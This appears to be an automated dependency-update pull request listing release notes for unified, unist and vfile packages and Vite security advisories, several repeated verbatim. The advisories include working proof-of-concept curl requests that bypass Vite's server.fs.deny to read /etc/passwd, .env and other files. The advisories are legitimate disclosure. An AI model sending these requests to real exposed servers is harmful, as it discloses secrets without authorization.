  • cea788b Fix type of settings if nothing is registered yet

Full Changelog: 11.0.1...11.0.2

11.0.1

  • d1a915d Fix incorrect type of settings in presets

Full Changelog: 11.0.0...11.0.1

11.0.0

Change

  • baf80b2 Change to require Node.js 16
    migrate: update too
  • dd9834a Update @types/unist
    migrate: update too
  • 620ccf9 Update vfile
    migrate: update too

Change (unlikey to affect you)

  • a44db46 Add Data, Settings types to augment shared data
    migrate: if you deal with data, type it, see commit for info
  • fb49556 Change to replace Buffer with Uint8Array
    migrate: youโ€™re probably fine unless you use weird encodings, see commit for details if so
  • f3e71a8 Remove Attacher type
    migrate: use Plugin instead
  • cc53bb6 Remove FrozenProcessor type
    migrate: use Processor instead
  • 1aa3494 Change to yield undefined, not null
    migrate: expect undefined
  • 932c140 Change to use exports
    migrate: donโ€™t use private APIs
  • 8e57478 Remove support for classes as compilers, parsers
    migrate: if you love classes, see commit message
  • 4676814 Remove support for compilers returning nullish
    migrate: nobody did that
  • 807ffb9 Add improved types
    migrate: itโ€™s probably just better if anything changed at all
  • b35afe0 Add useful error on empty presets
    by @wooorm in #202
  • 6f068a0 Fix to deep clone preset settings
  • 56ee288 Fix non-first parameter merging when reconfiguring plugins

Misc

Full Changelog: 10.1.2...11.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 65 commits:

โ†—๏ธ unist-util-is (indirect, 5.1.1 โ†’ 6.0.0) ยท Repo

Release Notes

6.0.0

Changes

  • cd152e7 Update @types/unist
    migrate: update @types/unist too
  • 8a2febe Change to require Node.js 16
    migrate: update Node
  • f91a1c2 Change to use export map
    migrate: donโ€™t use private APIs
  • dc59467 Change types to work w/o explicit type parameter
    migrate: donโ€™t pass an explicit type parameter;
    replace AssertAnything, AssertPredicate -> Check;
    TestFunctionAnything, TestFunctionPredicate -> TestFunction;
    PredicateTest -> Test

Full Changelog: 5.2.1...6.0.0

5.2.1

Misc

Full Changelog: 5.2.0...5.2.1

5.2.0

Add

  • 262c28f Add export of PredicateTest type

Misc

Full Changelog: 5.1.1...5.2.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 29 commits:

โ†—๏ธ unist-util-modify-children (indirect, 3.1.0 โ†’ 4.0.0) ยท Repo

Release Notes

4.0.0

Change

  • d8fae1c Update @types/unist
    migrate: update too
  • 2e92449 Change to require Node.js 16
    migrate: update too
  • 5bec8ab Change to use export map
    migrate: donโ€™t use private APIs

Full Changelog: 3.1.1...4.0.0

3.1.1

Misc

Full Changelog: 3.1.0...3.1.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 18 commits:

โ†—๏ธ unist-util-position (indirect, 4.0.3 โ†’ 5.0.0) ยท Repo

Release Notes

5.0.0

Change

  • 4049b1f Update @types/unist
    migrate: update too
  • 91eee7f Change to require Node.js 16
    migrate: update too
  • fda0351 Change to use export map
    migrate: donโ€™t use private APIs
  • e396010 Change to return undefined for invalid points, positions
    by @wooorm in #12
    migrate: expect undefined

Full Changelog: 4.0.4...5.0.0

4.0.4

Misc

Full Changelog: 4.0.3...4.0.4

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 22 commits:

โ†—๏ธ unist-util-remove-position (indirect, 4.0.1 โ†’ 5.0.0) ยท Repo

Release Notes

5.0.0

Change

  • f18d159 Update @types/unist
    migrate: update too
  • 24ea478 Change to require Node.js 16
    migrate: update too
  • 15b015e Change to use export map
    migrate: donโ€™t use private APIs
  • fa86ae2 Change to yield undefined
    migrate: expect undefined
  • 910f1bb Change to remove force shortcut
    migrate: true -> {force: true}

Full Changelog: 4.0.2...5.0.0

4.0.2

Misc

Full Changelog: 4.0.1...4.0.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 27 commits:

โ†—๏ธ unist-util-visit (indirect, 4.1.1 โ†’ 5.0.0) ยท Repo

Release Notes

5.0.0

Change

  • 4dcff31 Update @types/unist
    migrate: update too
  • befc0b3 Change to require Node.js 16
    migrate: update too
  • b5f36de Change to use export map
    migrate: donโ€™t use private APIs
  • 89fc050 Change to remove complex-types.d.ts
    migrate: use main export
  • 12c9ee9 Change to pass undefined, not null
    migrate: change null to undefined

Fix

  • 3cb2732 Fix performance of InclusiveDescendant type

Full Changelog: 4.1.2...5.0.0

4.1.2

Misc

Full Changelog: 4.1.1...4.1.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 23 commits:

โ†—๏ธ unist-util-visit-children (indirect, 2.0.1 โ†’ 3.0.0) ยท Repo

Release Notes

3.0.0

Change

  • e3f568b Update @types/unist
    migrate: update too
  • 8a28747 Change to use export map
    migrate: update too
  • 707e7bc Change to require Node.js 16
    migrate: donโ€™t use private APIs

Full Changelog: 2.0.2...3.0.0

2.0.2

Misc

Full Changelog: 2.0.1...2.0.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 19 commits:

โ†—๏ธ unist-util-visit-parents (indirect, 5.1.1 โ†’ 6.0.1) ยท Repo

Release Notes

6.0.1

Fix

  • 48f0dc0 Fix TSC generating broken .d.ts files

Full Changelog: 6.0.0...6.0.1

5.1.3

  • 529f064 Fix hidden types for unist-util-visit

Full Changelog: 5.1.2...5.1.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 28 commits:

โ†—๏ธ vfile (indirect, 5.3.6 โ†’ 6.0.3) ยท Repo ยท Changelog

Release Notes

6.0.3

Full Changelog: 6.0.2...6.0.3

6.0.2

Performance

  • aeae47e Refactor to prevent calling cwd if not needed

Miscellaneous

  • f364b8f Refactor to use import maps
Types

Full Changelog: 6.0.1...6.0.2

6.0.1

Types

Full Changelog: 6.0.0...6.0.1

6.0.0

Change

  • 46dd635 Change to require Node.js 16
    migrate: update Node
  • f72469b Change to use export map
    migrate: donโ€™t use private APIs
  • f4edd0d Change to replace Buffer with Uint8Array
    migrate: this will mostly work, but might break if you use weird ancient encodings
    by @wooorm in #85
  • af5eada Update vfile-message
    migrate: if you used .position on messages, switch that to .place
    optionally use the nicer options parameter to pass your things

Misc

Full Changelog: 5.3.7...6.0.0

5.3.7

Misc

Full Changelog: 5.3.6...5.3.7

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 47 commits:

โ†—๏ธ vite (indirect, 3.2.4 โ†’ 6.3.6) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ Vite middleware may serve files starting with the same name with the public directory

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts withย  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,ย  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

๐Ÿšจ Vite middleware may serve files starting with the same name with the public directory

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts withย  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,ย  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

๐Ÿšจ Vite's `server.fs` settings were not applied to HTML files

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,ย  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

๐Ÿšจ Vite's `server.fs` settings were not applied to HTML files

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,ย  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

๐Ÿšจ Vite's server.fs.deny bypassed with /. for files under project root

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

  • Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env
  • Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

image
image

๐Ÿšจ Vite's server.fs.deny bypassed with /. for files under project root

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

  • Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env
  • Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

image
image

๐Ÿšจ Vite's server.fs.deny bypassed with /. for files under project root

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

  • Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env
  • Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

image
image

๐Ÿšจ Vite's server.fs.deny bypassed with /. for files under project root

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

  • Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env
  • Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

image
image

๐Ÿšจ Vite's server.fs.deny bypassed with /. for files under project root

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

  • Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env
  • Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

image
image

๐Ÿšจ Vite has an `server.fs.deny` bypass with an invalid `request-target`

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

  • explicitly exposing the Vite dev server to the network (using --host or server.host config option)
  • running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

๐Ÿšจ Vite has an `server.fs.deny` bypass with an invalid `request-target`

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

  • explicitly exposing the Vite dev server to the network (using --host or server.host config option)
  • running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

๐Ÿšจ Vite has an `server.fs.deny` bypass with an invalid `request-target`

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

  • explicitly exposing the Vite dev server to the network (using --host or server.host config option)
  • running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

๐Ÿšจ Vite has an `server.fs.deny` bypass with an invalid `request-target`

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

  • explicitly exposing the Vite dev server to the network (using --host or server.host config option)
  • running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

๐Ÿšจ Vite has an `server.fs.deny` bypass with an invalid `request-target`

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

  • explicitly exposing the Vite dev server to the network (using --host or server.host config option)
  • running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

๐Ÿšจ Vite allows server.fs.deny to be bypassed with .svg or relative paths

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

if (svgExtRE.test(id)) {
const file = publicFile || cleanUrl(id)
const content = await fsp.readFile(file)
if (shouldInline(environment, file, id, content, undefined, undefined)) {
return assetToDataURL(environment, file, content)
}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

๐Ÿšจ Vite allows server.fs.deny to be bypassed with .svg or relative paths

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

if (svgExtRE.test(id)) {
const file = publicFile || cleanUrl(id)
const content = await fsp.readFile(file)
if (shouldInline(environment, file, id, content, undefined, undefined)) {
return assetToDataURL(environment, file, content)
}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

๐Ÿšจ Vite allows server.fs.deny to be bypassed with .svg or relative paths

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

if (svgExtRE.test(id)) {
const file = publicFile || cleanUrl(id)
const content = await fsp.readFile(file)
if (shouldInline(environment, file, id, content, undefined, undefined)) {
return assetToDataURL(environment, file, content)
}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

๐Ÿšจ Vite allows server.fs.deny to be bypassed with .svg or relative paths

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

if (svgExtRE.test(id)) {
const file = publicFile || cleanUrl(id)
const content = await fsp.readFile(file)
if (shouldInline(environment, file, id, content, undefined, undefined)) {
return assetToDataURL(environment, file, content)
}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

๐Ÿšจ Vite allows server.fs.deny to be bypassed with .svg or relative paths

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

if (svgExtRE.test(id)) {
const file = publicFile || cleanUrl(id)
const content = await fsp.readFile(file)
if (shouldInline(environment, file, id, content, undefined, undefined)) {
return assetToDataURL(environment, file, content)
}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

๐Ÿšจ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

  • base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
  • content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

๐Ÿšจ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

  • base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
  • content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

๐Ÿšจ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

  • base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
  • content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

๐Ÿšจ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query

Summary

